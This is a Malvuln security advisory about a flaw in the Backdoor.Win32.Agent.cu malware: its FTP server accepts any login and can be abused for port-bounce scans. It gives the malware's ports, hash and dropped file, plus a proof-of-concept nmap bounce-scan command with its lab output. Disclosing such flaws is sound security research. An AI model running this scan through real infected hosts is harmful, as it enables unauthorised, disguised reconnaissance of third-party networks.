Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cu
Vulnerability: Port Bounce Scan (MITM) 
Description: The malware listens on TCP ports 10426, 56185, its FTP component accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: ce1963d3fd6a8e1383aac40a1f1c4107
Vuln ID: MVID-2021-0304
Dropped files: MsgNet32.exe
Disclosure: 07/26/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@192.168.18.129:56185 -p21,22,80  192.168.18.131
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-22 19:50 Pacific Daylight Time
Nmap scan report for 192.168.18.131
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

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